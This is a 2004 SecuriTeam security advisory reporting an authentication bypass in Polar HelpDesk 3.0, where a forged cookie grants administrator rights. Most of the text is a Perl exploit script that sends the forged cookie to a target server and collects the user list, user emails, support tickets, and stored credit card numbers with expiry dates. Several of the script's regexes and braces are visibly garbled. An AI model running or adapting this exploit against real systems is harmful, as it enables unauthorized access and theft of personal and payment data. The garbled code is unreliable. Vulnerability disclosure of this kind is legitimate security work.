

[NT] Polar HelpDesk Inadequate Security Checks

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0075.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/21/04

To: list@securiteam.com

Date: 21 Jul 2004 18:02:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Polar HelpDesk Inadequate Security Checks

SUMMARY

<<http://www.polarsoftware.com/>> Polar HelpDesk is "a software solution for implementation of a help desk support system on your web site". We found the product to inadequately verify whether the user logged on to the system (provided username and password) or the privileges that the user has (Admin, Regular).

DETAILS

Vulnerable Systems:

* Polar HelpDesk version 3.0

The above happen due to the fact that Polar's HelpDesk only verifies whether the user has the appropriate cookie, and the cookie's value without verifying whether the user has even logged on into the system.

Example, by sending the server the following cookie:

HelpDesk_User=UserType=6&UserID=1, the user forces the server to do two things, first log on the user as UserID 1, the second to regard the user as a type 6 user (Administrative). From this point the client can practically administrate the server's complete functionality. Add users, view tickets, modify tickets, grab credit card numbers (if those are

Securiteam: [NT] Polar HelpDesk Inadequate Security Checks

available), etc.

Vendor response:

Thank you for your report. We are already aware of that security problem and we already have a plan to fix it. The release is set for first days in next week.

We have never received a response telling us which version addresses the above issues, but we assume the current version is immune.

Testing Methodology:

A few months ago Beyond Security built a new module for its Automated Scanning Vulnerability Assessment engine to test web sites and web applications for security vulnerabilities. This module adds the capability to dynamically crawl through a web site and find vulnerabilities in its dynamic pages.

This type of tool was considered to be different from the network VA tools, but we at Beyond Security believe that these two types of tools should be merged into one, and this is what made us incorporate the Web Site Security Audit module to our Automated Scanning engine.

For a press release on this integration see:

<<http://www.beyondsecurity.com/press/2004/press10030402.htm>>

<http://www.beyondsecurity.com/press/2004/press10030402.htm>

White paper on the first integrated network and web application vulnerability scanner: <<http://www.beyondsecurity.com/webscan-wp.pdf>>
<http://www.beyondsecurity.com/webscan-wp.pdf>

Our Automated Scanning engine equipped with the Web Site Security Audit module did all the tests described in this advisory automatically.

Exploit:

```
#!/usr/bin/perl
#
# Beyond Security Ltd.
# The below sample will do:
# 1) Grab a user list
# 2) Grab each user's email
# 3) List all available Inbox tickets
# 4) List all tickets with charge on them, and the credit card number and
their expiration date
```

```
use IO::Socket;
use strict;
```

```
my $host = $ARGV[0];
my $base_path = $ARGV[1];
```

```
my $remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
```

Securiteam: [NT] Polar HelpDesk Inadequate Security Checks

```
PeerPort => "80"
);

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $content = "txtPassword=admin&txtEmail=admin\@admin&Submit=Log+in";

my $length = length($content);

my $base_path = $ARGV[1];

print "Get user list\n";

my $data_get_userlist = "GET /$base_path/user/modifyprofiles.asp
HTTP/1.1\r\
Host: $host\r\
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8\r\
Connection: close\r\
Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
\r\n";

print $remote $data_get_userlist;
# print $data_get_userlist;

sleep(1);

my @names;
while (<$remote>)
{
if (/<td>Results /)
{
while (/<a href="profileinfo.asp?ID=[0-9]+">(<^<+></a>/g)
{
my $Item;
$Item->{ID} = $1;
$Item->{Name} = $2;
print "ID: ".$Item->{ID}." Name: ".$Item->{Name}."\n";
push @names, $Item;
}
}
}
close $remote;

print "Get users' email\n";
```

Securiteam: [NT] Polar HelpDesk Inadequate Security Checks

```
my $data_get_userdata = "";
foreach my $name (@names)
{
    $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );

    unless ($remote) { die "cannot connect to http daemon on $host" }

    $data_get_userdata = "GET
/$base_path/user/profileinfo.asp?ID=".$name->{ID}." HTTP/1.1\r\
Host: $host\r\
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8\r\
Connection: close\r\
Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
\r\n";

    print $remote $data_get_userdata;
    # print $data_get_userdata;

    sleep(1);

    while (<$remote>)
    {
        if (/name="txtEmail" value="/)
        {
            /name="txtEmail" value="([^\"]+)"/;
            print "ID: ".$name->{ID}.".", Email: $1\r\n";
        }
    }
    close($remote);
}

print "Get Inbox tickets\r\n";

my $data_get_inboxtickets = "GET
/$base_path/ticketssupport/Tickets.asp?ID=4 HTTP/1.1\r\
Host: $host\r\
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8\r\
Connection: close\r\
Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
\r\n";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print $remote $data_get_inboxtickets;
#print $data_get_inboxtickets;
```

Securiteam: [NT] Polar HelpDesk Inadequate Security Checks

```
sleep(1);

while (<$remote>)
{
  if (/Ticket #/)
  {
    # print $_;
    while (</a
href="tickets.asp?ID=4&Personal=&TicketID=([0-9]+)[^>]+>([^<]+)</a>/g)
    {
      print "Ticket ID: $1, Name: $2\n";
    }
  }
}

close($remote);

print "Get billing information\n";

my $data_get_billing = "GET /$base_path/billing/billingmanager_income.asp
HTTP/1.1\r\
Host: $host\r\
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8\r\
Connection: close\r\
Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
\r\n";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print $remote $data_get_billing;
sleep(1);

my @tickets;

while (<$remote>)
{
  if (/Ticket No./)
  {
    my $Item;
    </a href="..\/ticketsupport\/ticketinfo.asp?ID=([0-9]+)">([^<]+)</a>/;
    $Item->{ID} = $1;
    $Item->{Name} = $2;
    print "Ticket ID: ".$Item->{ID}.". , Name: ".$Item->{Name}.". \n";
    push @tickets, $Item;
  }
}
}
```

Securiteam: [NT] Polar HelpDesk Inadequate Security Checks

```
close($remote);

foreach my $ticket (@tickets)
{
  my $data_get_billingcreditcard = "GET
/$base_path/billing/billingmanager_ticketinfo.asp?ID=".$ticket->{ID}."
HTTP/1.1\r\
Host: $host\r\
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8\r\
Connection: close\r\
Cookie: HelpDesk_User=UserType=6&UserID=1;\r\
\r\n";
  $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

  unless ($remote) { die "cannot connect to http daemon on $host" }

  print $remote $data_get_billingcreditcard;
  sleep(1);

  my $Count = 0;
  my $Print = 0;
  while (<$remote>)
  {
    if ($Print)
    {
      $Count++;
      if ($Count > 1)
      {
        /<td[^>]+>([^\<]+)<\td>/;
        print $1, "\n";
        $Print = 0;
      }
    }
    if (/Expiration date<br>/)
    {
      print "Expiration date: ";
      $Count = 0;
      $Print = 1;
    }
    if (/Credit Card<br>/)
    {
      print "Credit Card: ";
      $Count = 0;
      $Print = 1;
    }
  }
}
```

ADDITIONAL INFORMATION

Securiteam: [NT] Polar HelpDesk Inadequate Security Checks

The information has been provided by <mailto:expert@securiteam.com> Noam Rathaus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.